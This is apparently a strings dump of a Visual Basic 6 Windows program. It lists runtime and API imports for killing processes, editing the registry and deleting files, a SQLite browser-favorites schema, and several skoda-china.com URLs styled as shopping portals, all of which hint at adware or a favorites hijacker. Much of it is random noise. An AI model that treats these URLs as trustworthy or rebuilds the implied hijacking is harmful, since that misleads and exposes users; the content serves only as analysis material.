yvwcwchjnxeexzoccrgqzllycbytmnd
yxtubfreooiri
yyiqrghxkbjchbisadxku
yZlGzHq/kA
Z3xFkCszG1k7kFk9jts7Gw/
Z6zh814OyIOlL1yX52A
ZabrZ86cZb
zaeggkh
zaqdudcchzliptmgszhxsmf
zavcflfbkioarvqhmvrxqmmvi
zbabbafkjo
zc8RqJ5ykA7qpXc9WR
zeckjbwpwwoaulgkhdqhlstckfcyswsvwlzqgoobtoxydfujfk
zewswtzxeecdpwwpglomgoywtdqcdklofpsbvhclhhuiwzosjdgpjgbzgvtuvingicvdxuayujhlzmcvwr
zfugmagrofegjcenvbgflzvfneskvbcxavfmhieebsrjjmrwouolgutsqrqxxtkzsnhuzlhref
ZGbocL
zgEGz9xiDnviDgC
zgvgxqyibavidxphlcljhgitcdfxtcpuiamzkjrhkjegsvitcoaozdfpjqqieolgoqgabkxcwvzhnhepkwgo
zibfvvmfstdhasmowpi
zidnwstgbpfftqqxnacnviseeiujyaemgzgbjwvithtnlrvfkegjsyxkvancakzriikjccmawaaqdlasyhcmvrlypdaqh
ZJQ5ezQGj4d3xY7
zknumaahwed
zmvxvhgpynjeqgfkgjkthxd
ZnEC
ZP0CNONefCkf2b8WfC0mIPYz/LNdICyGNxUfoxkBfCk5NLY8fjUdIP1fy/eJI70BY/nfZPe8I7JXyC0RY7kBfJ
zpbumcszpxsrnzgwoitmonkq
zpjqlivfsnvssvsskexepxzugcjwbzhgysmtucjsfutvkzquqgajtmilytjvaytipqbsg
zpsmgjutbymetloyfqyapddshxghsuqkhhdeuhixzeszjrvo
zpuwwvhnlsvsymjtrpyqbzbqouoidryyvgldnduuxdnwcamcjqedtnojlrbkqovax
zqqgnpructspjxtjar
zrynthhvjb
zvuvgfiiagknuofumtjgruwlzfubjneilyxkvjwpntiqxgnseqkhjykdrihewfwgtuoqlpdigmqjsbtnyy
zX3eW7RFY651GkMg375oWL79o505v0
zxapfw
ZZPhzefxsm92sqz
1tablefavoritefavorite
4http://taobao.skoda-china.com/
_adj_fdiv_m16i
_adj_fdiv_m32
_adj_fdiv_m32i
_adj_fdiv_m64
_adj_fdiv_r
_adj_fdivr_m16i
_adj_fdivr_m32
_adj_fdivr_m32i
_adj_fdivr_m64
_adj_fpatan
_adj_fprem
_adj_fprem1
_adj_fptan
advapi32.dll
Ad("xxw
_allmul
aRsU	Rs
_CIatan
_CIcos
_CIexp
_CIlog
_CIsin
_CIsqrt
_CItan
CloseHandle
CreateMutexA
CREATE TABLE favorite(id INTEGER UNIQUE,url TEXT,title TEXT,type INTEGER(2),parentid INTEGER,nextid INTEGER,firstchildid INTEGER,titlewidth INTEGER,hitcount INTEGER,param1 INTEGER,param2 INTEGER,param3 INTEGER)/
CreateToolhelp32Snapshot
`.data
DeleteFileA
DllFunctionCall
dRsjWSs
GetMem2
GetMem4
GetTickCount
GetVersionExA
http://down.skoda-china.com/
http://hao.skoda-china.com/
http://jd.skoda-china.com/
http://tmall.skoda-china.com/
http://windows.skoda-china.com/
i5hfxnWECxRcptlh3da85s
indexsqlite_autoindex_favorite_1favorite
jLh8H@
JUroot
kernel32
lstrlenA
mRsDZSs
msvbvm60
MSVBVM60.DLL
O59UNi7kQ65
oFuqIUz1c5Q
OpenProcess
Process32First
Process32Next
qltpjwsv
Qs0LRs6
Qs|5DsO
Qs6nTs
QsA^Rs
=Qsb>Rsi
<QshrRs
Qso_Rs
QsqOQs
Qsq:Ts
QsrkSs
Qs:_RsZ
QsSuTsV
QsucRs
Qs"YSs
RegCloseKey
RegCreateKeyA
RegDeleteValueA
RegEnumKeyExA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
RsdjRsK
Rs{eRs
RsQhRs
Rsr]Qs/
<Rs[rSsD~Ss
SQLite format 3
Ss__Rs
TerminateProcess
!This program cannot be run in DOS mode.
TsqbRs@
UTA1915ROi2bi146x
vb6chs.dll
VBA6.DLL
__vbaAryConstruct2
__vbaAryCopy
__vbaAryDestruct
__vbaAryLock
__vbaAryMove
__vbaAryUnlock
__vbaAryVar
__vbaCastObj
__vbaChkstk
__vbaCopyBytesZero
__vbaDateVar
__vbaEnd
__vbaErase
__vbaErrorOverflow
__vbaExceptHandler
__vbaFileClose
__vbaFileCloseAll
__vbaFileOpen
__vbaFPException
__vbaFpI4
__vbaFpR8
__vbaFreeObj
__vbaFreeStr
__vbaFreeStrList
__vbaFreeVar
__vbaFreeVarList
__vbaGenerateBoundsError
__vbaGetOwner3
__vbaHresultCheckObj
__vbaI2I4
__vbaI2Var
__vbaI4Abs
__vbaI4Var
__vbaInStr
__vbaInStrVar
__vbaLateMemCall
__vbaLateMemCallLd
__vbaLateMemSt
__vbaLbound
__vbaLenBstr
__vbaLenVar
__vbaLsetFixstr
__vbaNew
__vbaNew2
__vbaObjSet
__vbaObjSetAddref
__vbaObjVar
__vbaOnError
__vbaPowerR8
__vbaPrintFile
__vbaPutOwner3
__vbaR4Str
__vbaR4Var
__vbaR8Str
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaRedim
__vbaRedimPreserve
__vbaSetSystemError
__vbaStrCat
__vbaStrCmp
__vbaStrComp
__vbaStrCopy
__vbaStrFixstr
__vbaStrI2
__vbaStrI4
__vbaStrMove
__vbaStrR8
__vbaStrToAnsi
__vbaStrToUnicode
__vbaStrUI1
__vbaStrVarMove
__vbaStrVarVal
__vbaUbound
__vbaUI1I4
__vbaUI1Var
__vbaVar2Vec
__vbaVarAnd
__vbaVarCat
__vbaVarDup
__vbaVarSub
__vbaVarTstEq
__vbaVarTstGt
__vbaVarTstNe
WaitForSingleObject
wcM9FVqltpjwsv
wSs+oRs
Xo93W54tqHL
Y0Jrn274XI9WfiNwmxc
Y23LgLOpk2ExFfTW3ux13
?zhttp://ju.skoda-china.com/
ZQiR4qXhg